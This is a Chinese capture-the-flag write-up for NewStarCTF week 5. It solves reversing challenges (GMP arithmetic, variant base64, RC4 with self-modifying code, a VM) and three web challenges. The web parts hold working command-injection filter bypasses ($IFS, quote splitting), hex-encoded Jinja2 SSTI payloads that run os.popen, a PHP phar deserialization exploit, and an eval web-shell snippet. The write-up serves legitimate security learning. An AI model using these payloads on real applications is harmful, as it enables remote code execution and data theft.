mpz_random(random_state, n) 返回一个在0和n-1之间的均匀分布的随机整数。参数random_state必须先由random_state()创建。

mpz_rrandomb(…)
mpz_rrandomb(random_state, b)返回一个介于0和2b - 1之间的随机整数，在其二进制表示中具有长序列的0和1。参数random_state必须先由random_state()创建。
mpz_urandomb(…)
mpz_urandomb(random_state, b)返回一个在0和2b - 1之间的均匀分布的随机整数，参数random_state必须先由random_state()创建。

如上一波搜索，可以明确知道mpz 是个数学库，那么分析程序流程的时候，黑盒测试就有了侧重点。

0x02 程序分析

先ida简单分析一下

可以得到程序处理流程：

先将输入字符对应的hex，转化为小端序[v12]
v9=v12-114514
v9=v9*191980
v9=(v9//(2**20)<<20)+0xf6760

然后将v9与密文比较，也就是v13。

【注意：这里后面的三个表达式关系，需要动态调试。类似黑盒测试的方式得到，同时题目是mpz，可联想到gmp 数学函数库，会有一些帮助】

0x03 解密流程

下面是黑盒测试的用例【用来分析函数功能】

# 下面是，动态调试，分析函数功能用到的黑盒测试

# 12345678ABCDEFGHIJKLMNOPQRSTUVWXYZ   这是test 用例

enc='089A5657565554535251504F4E4D4C4B4A4948474645444342413837363534333231'

enc_=''
for i in range(len(enc)-2,-2,-2):
    enc_+=enc[i:i+2]
num=int(enc_,16)
print(hex(num))

e='60677FE420496C8FB2D5F81B3F6285A8CBEE1135587B9EC1E407CB7E8AADD0F3163A1D90'

e_=''
for i in range(len(e)-2,-2,-2):
    e_+=e[i:i+2]
num1=int(e_,16)
print(hex(num1))

print(num1//num)

enc='089A5657565554535251504F4E4D4C4B4A4948474645444342413837363534333231'

enc_=''
for i in range(len(enc)-2,-2,-2):
    enc_+=enc[i:i+2]
num2=int(enc_,16)
print(hex(num2))

print(hex((num1//(2**20)<<20)+0xf6760))

分析清楚函数功能，开始解密：

# encoding=utf-8

enc='1853AA7A566DABCD46464646464646AA7F2C2D2D2D2D2D2D2D31C8AA8A5E738FE584092C01'  # ida dump出的密文，将其小端序

enc_=''
for i in range(len(enc)-2,-2,-2):
    enc_+=enc[i:i+2]

num=int(enc_,16)
# num=582872904048513552060243879638332414210812529746092910839742399777159917107350390592280

num=(num*(2**20)-0xf6760)>>20
num=num//191980
num+=114514

print(hex(num))

print(bytes.fromhex('666c61677b676d705f6c6c6c6c6c6c6c6c6c6c3131313131313131315f696e74217d'))  # flag{gmp_llllllllll111111111_int!}

flag{gmp_llllllllll111111111_int!}

Web

So Baby RCE

0x01 绕过技巧

<?php
error_reporting(0);
if(isset($_GET["cmd"])){
    if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
       echo "Don't Hack Me";
    }else{
        system($_GET["cmd"]);
    }
}else{
    show_source(__FILE__);
}

(174条消息) CTFHub技能树笔记之RCE：命令注入、过滤cat、过滤空格_weixin_48799157的博客-CSDN博客_命令执行过滤空格

(174条消息) CTFWeb-命令执行漏洞过滤的绕过姿势_Tr0e的博客-CSDN博客_ctf 空格绕过

CTF中命令执行绕过方法 - FreeBuf网络安全行业门户

(174条消息) CTF下的命令执行_lemonl1的博客-CSDN博客_ctf 命令执行

CTF中的命令执行绕过方式 - 知乎 (zhihu.com)【比较全面】

参见上文：

# 一些绕过小技巧
1. cat
    1.使用单引号绕过 

    127.0.0.1; c''at flag_2287214057241.php |base64
    2.使用双引号绕过 

    127.0.0.1; c""at flag_2287214057241.php |base64
    3.利用Shell 特殊变量绕过

    127.0.0.1; ca$@t flag_2287214057241.php|base64

2.空格可以用以下字符代替：
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

$IFS在linux下表示分隔符，但是如果单纯的cat$IFS2，bash解释器会把整个IFS2当做变量名，所以导致输不出来结果，因此这里加一个{}就固定了变量名。
同理，在后面加个$可以起到截断的作用，使用$9是因为它是当前系统shell进程的第九个参数的持有者，它始终为空字符串。

3.
a=fl;b=ag;cat $a$b          变量替换
cp fla{g.php,G}    把flag.php复制为flaG
ca${21}t a.txt     利用空变量  使用$*和$@，$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下，上面的特殊变量都是为空的

4.>，+过滤
对于 >,+ 等 符号的过滤 ,$PS2变量为>,$PS4变量则为+

5.控制环境变量绕过

$PATH => "/usr/local/….blablabla”
${PATH:0:1} => '/'
${PATH:1:1} => 'u'
${PATH:0:4} => '/usr'

6.过滤斜杠/绕过
使用${HOME:0:1}代替/

0x02 RCE

查询足够多资料后，开始RCE【通过cd .. 逐步跳转到根目录】

/?cmd=ec$@ho${IFS}${PATH}

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

/?cmd=cd${IFS}..%0acd${IFS}..%0acd${IFS}..%0als${IFS}

bin
boot
dev
etc
ffffllllaaaaggggg
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var

/?cmd=cd${IFS}..%0acd${IFS}..%0acd${IFS}..%0ac$@at${IFS}ffff$@llllaaaaggggg

flag{bcba8204-fad9-4328-9072-afeafd94d764}

flag{bcba8204-fad9-4328-9072-afeafd94d764}

BabySSTI_Two

0x01 测试黑名单

SSTI/沙盒逃逸详细总结-安全客 - 安全资讯平台 (anquanke.com)

细说Jinja2之SSTI&bypass - FreeBuf网络安全行业门户

?name={{1+1}}  # + 过滤

/?name={{"hj"}}   # ""  过滤

?name={{'~'}}     # ~ 过滤

/?name={{'j s'}}  # 空格过滤 单引号可以使用

?name={{'a.b'}}   # . 可以使用

?name={{'a[]b'}}  # [] 可以使用

?name={{'a()b'}}  # () 可以使用

?name={{'()__'}}  # __ 可以使用

?name={{'popen'}}  # popen 过滤

?name={{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

# popen、eval、system 过滤
?name={{lipsum[request.args.t1][request.args.t2][request.args.t3]('os').popen('ls').read()}}&t1=__globals__&t2=__builtins__&t3=__import__

# 绕过 popen 通过 base64 编码 不可行
['cG9wZW4='.decode('base64')]  #popen
['ZXZhbA=='.decode('base64')]  #eval
("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64')) #__import__('os').popen('ls').read()

?name={{lipsum.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))}}

?name={{joiner.__in''it__.__glob''als__.__bui''ltins__['__im''port__']('os').popen('ls').read()}}

# 可执行
?name={{[]['__c''lass__']['__ba''se__']['__subcl''asses__']()}}

# 利用脚本跑出利用函数位置
{{().__cl''ass__.__bas''es__[0].__su''bcl''asses__()[177].__in''it__.__glob''als__.__bu''iltins__['open']('ls').read()}}

?name={{[].__cla''ss__.__ba''se__.__subcla''sses__()[117].__in''it__.__glo''bals__['__built''ins__']['__imp''ort__']('os').__di''ct__['pop''en']('ls').read()}}

/?name={{''['__cla''ss__']['__bas''es__'][0]['__subcl''asses__']()[117]['__in''it__'].__glo''bals__['nepop'[::-1]]('id').read()}}

0x02 绕过测试

# __ 黑名单绕过

{{''.__class__}} => {{''[request.args.t1]}}&t1=__class__

# [] 绕过 getitem() 用来获取序号

"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)


# encoding=utf-8

str1 = 'popen'
res = ''
for i in str1:
  res += "{0:c}"+"['format']({tmp})%2B".format(tmp=ord(i))
print(res[:-3])

for i in range(len(str1)):
    print(str(hex(ord(str1[i]))),end=',') # \x70\x6f\x70\x65\x6e

popen 绕过失败

SSTI注入绕过(沙盒逃逸原理一样) - 冬泳怪鸽 - 博客园 (cnblogs.com)

?name={{lipsum.__glo''bals__.__bu''iltins__['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk='.decode('base64'))}}

失败，不知道什么原因

https://blog.csdn.net/weixin_54515836/article/details/113778233

# 发现
166  <class 'warnings.catch_warnings'>

#调用commands进行命令执行
?name=
{{().__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')}}

?name={{lipsum.__glo''bals__.__buil''tins__['__import__']('os').open('ereh_ni_galf/'[::-1],'r').read()}}

0x03 Rce success

尝试全hex 编码，数据构建脚本：

# encoding=utf-8

text = "{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[64]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('c$@at${IFS}/fl$@ag_in_h3r3_52daad')['\x72\x65\x61\x64']()}}"
print(text.encode())

enc = "{{lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']()}}"

i = 0
while i <= len(enc) - 1:
    if enc[i] == "'":
        print(enc[i], end='')
        k = i + 1
        while enc[k] != "'":
            print('\\x' + str(hex(ord(enc[k])))[2:], end='')
            k += 1
        print(enc[k], end='')
        i = k+1
        continue
    print(enc[i], end='')
    i += 1


# 尝试全hex 编码

?name={{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
======>  # 方便编码使用
?name={{lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']()}}
======>
?name={{lipsum['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('ls')['\x72\x65\x61\x64']()}}

name={{''['__class__']['__base__']['__subclasses__']()[64]['__init__']['__globals__']['__builtins__']['__import__']('os')['popen']('c$@at${IFS}/fl$@ag_in_h3r3_52daad')['read']()}}
====>
?name={{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[64]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('ls')['\x72\x65\x61\x64']()}}

# 发现成功读取 app.py

Welcome to NewStarCTF Again, Dear from flask import Flask, request
from jinja2 import Template
import re
app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'CTFer')
    if not re.findall('class|init|mro|subclasses|flag|cat|env|"|eval|system|popen|globals|builtins|\+| |attr|\~', name):
        t = Template("

# 读取根目录
'ls${IFS}/'
Welcome to NewStarCTF Again, Dear app
bin
boot
dev
etc
flag_in_h3r3_52daad
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var

# getflag
'c$@at${IFS}/fl$@ag_in_h3r3_52daad'

?name={{lipsum['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('c$@at${IFS}/fl$@ag_in_h3r3_52daad')['\x72\x65\x61\x64']()}}

Welcome to NewStarCTF Again, Dear flag{903247b8-92e5-49c0-b40a-b69c2fe2db43}

flag{903247b8-92e5-49c0-b40a-b69c2fe2db43}\

UnserializeThree

hint

PHP反序列化漏洞系列第三题。当文件上传遇到反序列化，擦出爱（RCE）的火花

0x01 题目分析

可以上传图片，并会返回访问路径。

在index页面，发现class.php,访问得到：

<?php
highlight_file(__FILE__);
class Evil{
    public $cmd;
    public function __destruct()
    {
        if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
            //Same point ,can you bypass me again?
            eval("#".$this->cmd);
        }else{
            echo "No!";
        }
    }
}

file_exists($_GET['file']);

详谈CTF中常出现的PHP反序列化漏洞 - FreeBuf网络安全行业门户

Phar (“Php ARchive”) 是PHP里类似于JAR的一种打包文件。如果你使用的是 PHP 5.3 或更高版本，那么Phar后缀文件是默认开启支持的，你不需要任何其他的安装就可以使用它。而Phar文件中也存在反序列化的利用点:phar文件会以序列化的形式储存用户自定义的meta-data,在执行Phar文件时meta-data中用户自定义的元数据将被反序列化从而达到反序列化攻击的目的,这也扩展了PHP反序列化攻击的攻击面

这一利用出自2018年Blackhat大会上的Sam Thomas分享的File Operation Induced Unserialization via the「phar://」Stream Wrapper这个议题.

该方法在文件系统函数（file_exists()、is_dir()等）参数可控的情况下，配合phar://伪协议，可以不依赖unserialize()直接进行反序列化操作。

0x02 phar 反序列化漏洞利用

显然本题的考点就是 phar:// 反序列化漏洞了

浅析Phar反序列化 - FreeBuf网络安全行业门户

(174条消息) phar反序列化+两道CTF例题_Z3eyOnd的博客-CSDN博客_ctf phar反序列化

构建phar 文件(174条消息) disabled by the php.ini setting phar.readonly_weixin_34004750的博客-CSDN博客

PHP绕过 | Lazzaro (lazzzaro.github.io)

<?php

class Evil{

    public $cmd="\r"."system('ls');";
}

$a = new Evil();

$phar = new Phar('test.phar',0,'test.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');

$phar->setMetadata($a);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();

#

$str="PHP_EOL";
$test1="\r";

$cmd=$test1."system('dir');";
//    .urldecode("%0a");

eval('#'.$cmd);

生成phar 包后，改名上传，并获取路径。

Saved to: upload/0412c29576c708cf0155e8de242169b1.jpg

0x03 绕过验证

可以看到已经成功，phar 反序列化利用了。但是还需要绕过验证

 if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
            //Same point ,can you bypass me again?
            eval("#".$this->cmd);
        }else{
            echo "No!";
        }
// 在前面拼接了 # 注释符，同时 过滤换行

//PHP_EOL  可替代换行 但是php过滤了 

// 由于php ? <> 等字符过滤
//php别名解析
//php3、php5、phtml能解析成php文件

//GIF89a?
<script  language="ph%00p">  @eval($_REQUEST['pass']);
</script>

一番尝试后，发现回车"\r",与换行有相同作用，可以绕过，成功rce

public $cmd="\r"."system('ls');";

bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var

# 得到flag

public $cmd="\r"."system('cat flag');";

flag{ba275b97-c9fe-4030-94a9-ef44a2dc3dc5}

flag{ba275b97-c9fe-4030-94a9-ef44a2dc3dc5}

Re

拔丝溜肆 (easy)

0x01 程序分析

main_

是个base64 加密：

这里值得注意的是，每次编码的时候，都使用源base64表移位获得。

所以，需要动调获得每次的移位值。

key = [0x29, 0x28, 0x39, 0xa, 0x3e, 0x1e, 0x3b, 0x19, 0x0c, 0x0, 0x2e, 0x3a, 0x1, 0x18]

直接通过每轮移位值，进行变表解编码得到flag。

0x02 base 变表解编码

# encoding=utf-8

print("x" * 42)

# 变表base
import base64

change_table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

str1 = 'CPaKBfUZFcNwW9qCKgyvuS2PGPQ9mttGc/wCNS0w6hDwGOSsOkOEkL5V'

key = [0x29, 0x28, 0x39, 0xa, 0x3e, 0x1e, 0x3b, 0x19, 0x0c, 0x0, 0x2e, 0x3a, 0x1, 0x18]

for i in range(0, len(str1), 4):
    tmp=list(table)
    new_table=[0]*64
    for k in range(len(tmp)):
        new_table[k]=tmp[(key[i//4]+k)%64]
    change_table=''.join(new_table)
    print(str(base64.b64decode(str1[i:i+4].translate(str.maketrans(change_table, table))))[2:2+3], end='')

# flag{12573882-1CF1-EB5E-C965-035B1F263C38}

flag{12573882-1CF1-EB5E-C965-035B1F263C38}

E4sy_Mix (hard)

0x01 smc 自修改

一般有两种方案解决：

直接动调让程序自己运行恢复【题目有debug，动态调试需绕过】。
idc 脚本，直接修改也能得到。

这里使用第一种，动态调试得到正确逻辑！【这种比较简单，同时可以得到一些运行数据，更容易求出flag】

修改逻辑，绕过即可。得到正常函数：

加密逻辑，很简单：

  for ( i = 0; i < result; ++i )
  {
    v3 = (v3 + 1) % 256;                        // 右移1
    v5 = byte_404490[v3];
    v4 = (v5 + v4) % 256;
    byte_404490[v3] = byte_404490[v4];
    byte_404490[v4] = v5;
    *(_BYTE *)(i + a1) ^= byte_404490[(unsigned __int8)(v5 + byte_404490[v3])];
  }

0x02 py解密

# encoding=utf-8

print("x" * 33)

byte_404490=\
[  0x61, 0x07, 0xD5, 0x8A, 0x69, 0x78, 0x2D, 0x56, 0xD1, 0x7C,
  0x1E, 0x0E, 0x0C, 0x0F, 0x64, 0x30, 0x14, 0xC5, 0x3C, 0xB0,
  0x37, 0x41, 0x1C, 0x17, 0x6A, 0xB5, 0x4A, 0xB9, 0x3D, 0x4D,
  0xF2, 0xB7, 0x38, 0xB8, 0x7B, 0x9F, 0x48, 0x7F, 0xE5, 0xD2,
  0xA8, 0xEE, 0xB3, 0x2F, 0xC1, 0x5A, 0xCE, 0x0B, 0x2A, 0x94,
  0x50, 0xCA, 0x71, 0x72, 0xA9, 0xE1, 0x67, 0xDE, 0x28, 0x76,
  0x31, 0x09, 0x3E, 0xE2, 0x3F, 0xA7, 0x20, 0xFE, 0x26, 0x42,
  0x7A, 0xD9, 0x4C, 0xD6, 0x63, 0x23, 0x34, 0xC3, 0x08, 0x92,
  0xAB, 0x18, 0x91, 0x3B, 0xAD, 0x1A, 0x4E, 0xA5, 0xF0, 0x83,
  0xB6, 0x05, 0x77, 0xC7, 0xC6, 0x8E, 0x90, 0x5D, 0x19, 0x6D,
  0x33, 0x1B, 0xF8, 0x45, 0xAC, 0x9A, 0x96, 0xA6, 0x79, 0xC0,
  0x00, 0x02, 0xDB, 0x53, 0x68, 0x6B, 0x10, 0x6F, 0x98, 0xDF,
  0x84, 0x0A, 0x47, 0x40, 0x13, 0xF3, 0xAF, 0x12, 0xBA, 0x8B,
  0xD7, 0xCB, 0x9B, 0xF6, 0xC8, 0x9C, 0xE0, 0x01, 0x5B, 0xE3,
  0xA2, 0x06, 0x03, 0xDA, 0x2E, 0x75, 0xC2, 0x74, 0xDD, 0xFB,
  0xFD, 0xEA, 0xA1, 0x81, 0xBB, 0x65, 0x25, 0x44, 0xD8, 0x24,
  0x39, 0xBF, 0x57, 0x0D, 0xEC, 0x70, 0xFC, 0xBD, 0x59, 0x4B,
  0x49, 0x86, 0xCD, 0xE7, 0x73, 0xA0, 0x8D, 0x1D, 0xDC, 0x5E,
  0x97, 0x87, 0xC9, 0xCC, 0x7D, 0x7E, 0x80, 0x16, 0xBC, 0xD3,
  0xEB, 0xF4, 0x58, 0x51, 0x43, 0xF9, 0xCF, 0xBE, 0xF1, 0x66,
  0xD4, 0xF7, 0x04, 0x5F, 0x21, 0xED, 0x32, 0xAE, 0x15, 0x27,
  0xEF, 0x2C, 0xE9, 0x36, 0xFA, 0x5C, 0x29, 0x93, 0x35, 0x95,
  0xE8, 0xA3, 0x52, 0x6E, 0x8F, 0xB4, 0xE4, 0x9D, 0xAA, 0x62,
  0x3A, 0xA4, 0xD0, 0x4F, 0x8C, 0x46, 0x22, 0xB2, 0xB1, 0x89,
  0x55, 0x9E, 0xFF, 0x11, 0xC4, 0x2B, 0x1F, 0xE6, 0x6C, 0x85,
  0x60, 0xF5, 0x99, 0x88, 0x82, 0x54]

enc=[  0xA1, 0xBF, 0xB6, 0x70, 0x63, 0x5B, 0x3B, 0xED, 0xF4, 0x91,
  0x81, 0xA4, 0xBD, 0x3A, 0x53, 0x86, 0x5B, 0x8C, 0xDB, 0x41,
  0x1B, 0x73, 0xE1, 0xD1, 0xF2, 0xB2, 0xDF, 0x6E, 0x16, 0x56,
  0x22, 0x42, 0xFC]

v3 = 0
v4 = 0
flag=[0]*len(enc)
for i in range(len(enc)):
    v3 = (v3 + 1) % 256   # 右移1
    v5 = byte_404490[v3]
    v4 = (v5 + v4) % 256
    byte_404490[v3] = byte_404490[v4]
    byte_404490[v4] = v5
    flag[i]= byte_404490[(v5 + byte_404490[v3])&0xff]^enc[i]

for i in range(len(flag)):
    print(chr(flag[i]),end='')

flag{RC4_and_SMC_is_interesting!}

最后附上idc python:

【直接Shift + F2 运行脚本，优点是，也能得到调试获得的结果，且便捷；缺点是，运行的数据获取不到,需要自己求解】

import ida_bytes
for ea in range(0x402000,0x402000+53,1):
  ida_bytes.patch_dword(ea,ida_bytes.get_original_dword(ea)^0x54)

Petals Level Up (easy)

0x01 程序分析

__asm { jmp     r15 }

# 发现上面内联 汇编指令，实现程序的跳转

处理方式就是动态调试【或者可以，自行计算出r15但显然比较麻烦】

0x02 程序动态调试跟进

这里对输入，有一次处理！

input 值在映射表中的位置，作为新值替代input：

映射表生成如下：

  for ( i = 0; i <= 255; ++i )
    *((_BYTE *)v3 + i) = ~(i ^ a2);

可以看到将输入进行移位 xor 操作【但是这里后面存在 jmp r15,所以需要查看汇编指令又进行了那些操作】

汇编跳转如下：

又进行了两次移位 xor 运算：

【上面，移位4时，xor 0x7a,标注错了】

同时末尾，又xor input[i+1]。这里动态调试获得！

下面是密文比较： md5 ，加密小写提交

如上分析：就可以得到下面的加密流程： # 最后一轮 xor input[0]

    *a1 = (*a1 << 7) | (*a1 >> 1);
    *a1 ^= 0x71u;
    *a1 = (*a1 << 6) | ((unsigned __int8)*a1 >> 2);
    *a1 ^= 0x73u;
    *a1 = (*a1 << 5) | (*a1 >> 3);
    *a1 ^= 0x64u;
    *a1 = (*a1 << 4) | ((unsigned __int8)*a1 >> 4);
    *a1 ^= 0x7Au;
    *a1 ^= *(a1+1)

0x03 解密py

先写出加密逻辑，进行测试：【与程序运行结果相同，说明分析正确】

# encoding=utf-8

enc=[0xB3, 0x79, 0xF1, 0x70, 0xB3, 0x79, 0xF1, 0x70, 0xB3, 0x31,
  0xC3, 0x6E, 0x24, 0xE3, 0x7C, 0xFF, 0xDA, 0xF9, 0x75, 0xF2,
  0x60, 0xBF, 0x33, 0xE3, 0x65, 0xA6, 0x62, 0x2A, 0x65, 0x24,
  0xB4, 0xBA]

def RoL(num,bit):
    return ((num<<bit)|(num>>(8-bit)))&0xff

# 生成映射表
table=[0]*256
len_=len(enc)
for i in range(256):
    table[i]=(~(i^len_))&0xff

print(hex(table.index(ord('x'))))
test='1234567890987654321112345678abcd'

print(table)
flag=[0]*len(enc)

for i in range(len(test)):
    tmp=table.index(ord(test[i]))
    tmp = RoL(tmp, 7)
    tmp ^= 0x71
    tmp = RoL(tmp, 6)
    tmp ^= 0x73
    tmp = RoL(tmp, 5)
    tmp ^= 0x64
    tmp = RoL(tmp, 4)
    tmp^=0x7a

    if i != len(test)-1:
        tmp^=table.index(ord(test[i+1]))
    else:
        tmp^=flag[0]
    flag[i]=tmp
    print(hex(tmp),end=',')

测试正确：写出解密逻辑，得到flag。

解密py:

# encoding=utf-8

import hashlib

enc=[0xB3, 0x79, 0xF1, 0x70, 0xB3, 0x79, 0xF1, 0x70, 0xB3, 0x31,
  0xC3, 0x6E, 0x24, 0xE3, 0x7C, 0xFF, 0xDA, 0xF9, 0x75, 0xF2,
  0x60, 0xBF, 0x33, 0xE3, 0x65, 0xA6, 0x62, 0x2A, 0x65, 0x24,
  0xB4, 0xBA]

def RoR(num,bit):
    return ((num>>bit)|(num<<(8-bit)))&0xff

# 生成映射表
table=[0]*256
len_=len(enc)
for i in range(256):
    table[i]=(~(i^len_))&0xff

flag=[0]*len(enc)

flag[0]=enc[0]
for i in range(len(enc)-1,-1,-1):
    if i == len(enc)-1:
        tmp=flag[0]^enc[i]
    else:
        tmp=enc[i]^flag[i+1]

    tmp^=0x7a
    tmp=RoR(tmp,4)
    tmp^=0x64
    tmp=RoR(tmp,5)
    tmp^=0x73
    tmp=RoR(tmp,6)
    tmp^=0x71
    tmp=RoR(tmp,7)

    flag[i]=tmp
    print(tmp)

print(flag)
for i in range(len(flag)):  #bakabakaba#AtsukoKagari#aw1dyq2r
    print(chr(table[flag[i]]),end='')
print()
print(hashlib.md5('bakabakaba#AtsukoKagari#aw1dyq2r'.encode()).hexdigest())

flag{d5658c0b4c44d4672d76b563a8505a66}

【这题或许可以，静态修改跳转逻辑，使其能够F5 反汇编，可能会容易很多，不然分析汇编代码，容易漏掉细节，耗时大】

有时间可以尝试一下。

Virtual Self (middle)

0x01 VM opcode 转换为可理解语句

特征很明显，是VM 类型题目。程序的加密逻辑是固定的，但是由于将其加密过程转化为未知 opcode 进行翻译。所以直觉上，运行规律是不可理解的。

那么现在就需要，将其opcode 码，转化为可理解的伪汇编代码！！！

首先用 idcpython 将 opcode dump出来：【动态调试过程中dump】

import idaapi

start_address=0x00007FFC2B201890
end_address=0x00007FFC2B2021E0+1
data_length= end_address-start_address

data = idaapi.dbg_read_memory(start_address, data_length)
fp = open(r'F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\week5\Re\Virtual Self (middle)\opcode', 'wb')
fp.write(data)
fp.close()

指令长度为 4：

opcode[0]===>运算类型如 mov sub add等

opcode[1]===>细分运算类型如 mov 的不同用法类别

opcode[2]、opcode[3] 操作数

print 出可理解伪汇编：

# encoding=utf-8

import binascii
import hashlib

with open(r'F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\week5\Re\Virtual Self (middle)\opcode', 'rb') as f:
    opcode = f.read()

# opcode_=binascii.hexlify(opcode)
# print(opcode_)

opcode = bytes(opcode)

# 下面程序相当于将程序 vm 走了一遍。用python 代码
# opcode=[0]*((len(opcode_)//2))
# for i in range(0,len(opcode_),2):
#     opcode[int(i//2)]=int(opcode_[i:i+2],16)

print('x' * 29)

i = 0
while opcode[i] != 0xff:

    if opcode[i] == 224:  # mov
        if opcode[i + 1] == 0:
            print("mov reg[", opcode[i + 2] - 208, "] ", "reg[", opcode[i + 3] - 208, "]")
        elif opcode[i + 1] == 1:
            print("mov reg[", opcode[i + 2] - 208, "] ", "input[", opcode[i + 3], "]")
        elif opcode[i + 1] == 2:
            print("mov input[", opcode[i + 2], "] ", "reg[", opcode[i + 3] - 208, "]")
            print()
        elif opcode[i + 1] == 3:
            print("mov reg[", opcode[i + 2] - 208, "] ", opcode[i + 3])
    elif opcode[i] == 162:  # sub
        if opcode[i + 1] == 1:
            print("sub reg[", opcode[i + 2] - 208, "] ", opcode[i + 3])
        elif opcode[i + 1] == 0:
            print("sub reg[", opcode[i + 2] - 208, "] ", "reg[", opcode[i + 3] - 208, "]")
    elif opcode[i] == 160:  # xor
        if opcode[i + 1] == 1:
            print("xor reg[", opcode[i + 2] - 208, "] ", opcode[i + 3])
        elif opcode[i + 1] == 0:
            print("xor reg[", opcode[i + 2] - 208, "] ", "reg[", opcode[i + 3] - 208, "]")
    elif opcode[i] == 161:  # add
        if opcode[i + 1] == 1:
            print("add reg[", opcode[i + 2] - 208, "] ", opcode[i + 3])
        elif opcode[i + 1] == 0:
            print("add reg[", opcode[i + 2] - 208, "] ", "reg[", opcode[i + 3] - 208, "]")
    i += 4

print("end !!!")

得到伪汇编代码！

0x02 翻译后的伪汇编代码分析

# 运行上面脚本 即可得到【数据比较多，这里就不展示了】

翻译后得到上面伪汇编代码，逐个解密得到flag!

0x03 py解密

# encoding=utf-8

input = [0x84, 0x1F, 0x3C, 0x7B, 0xB9, 0x2A, 0x6C, 0x63, 0xA4,
         0x72, 0x1B, 0x08, 0x76, 0x5F, 0x96, 0x88, 0x86, 0x5F, 0x7B,
         0x67, 0xCD, 0x86, 0x97, 0x66, 0x64, 0x99, 0xFC, 0x7D, 0x81]

input[3] = (input[3] + 2) ^ 20 - 2
input[10] = input[10] ^ 97 ^ 3
input[17] = (input[17] ^ 3 + 2) ^ 1
input[22] = (input[22] ^ 230 ^ 1 - 2 + 252 + 2)
input[5] = (((((input[5] - 1) ^ 1 ^ 74 - 112) + 1 + 23) ^ 74) + 23)&0xff
input[0] = (((input[0] ^ 2 + 3) ^ 31 + 2) - 11 + 217) & 0xff
input[7] = ((input[7] + 6) ^ 2 + 1)
input[25] = ((input[25] + 4 - 2) ^ 1 - 128 + 78) & 0xff
input[23] = ((input[23] ^ 3 + 3 - 3) ^ 3 ^ 1 + 2)
input[14] = (input[14] - 228 - 1 + 249 + 249 + 1 + 3) & 0xff
input[19] = (input[19] + 1)
input[26] = (((input[26] ^ 3 + 9 - (58-79)) ^ 2 ^ 117)&0xff - 58) & 0xff
input[20] = (((input[20] - 4) ^ 1 - 4 - 4) ^ 2) & 0xff
input[2] = (input[2] + 24 + 3 - 244 - 2) & 0xff
input[18] = ((input[18] - 2 - 3) ^ 3 ^ 237 ^ 1 ^ 218)
input[4] = (((input[4] - 2 + 1) ^ (216 - 188) - 42 - 1) ^ 2) & 0xff
input[6] = ((input[6] + 1 - 3 + 2 + 3) ^ 3 - 2) ^ 3
input[11] = ((input[11] + 174) ^ (112 - 174 + 4) - 2 + 3 + 2 - 4) & 0xff
input[21] = (((input[21] - 3) ^ 2 + 3 + 236 + 236) ^ 3) & 0xff
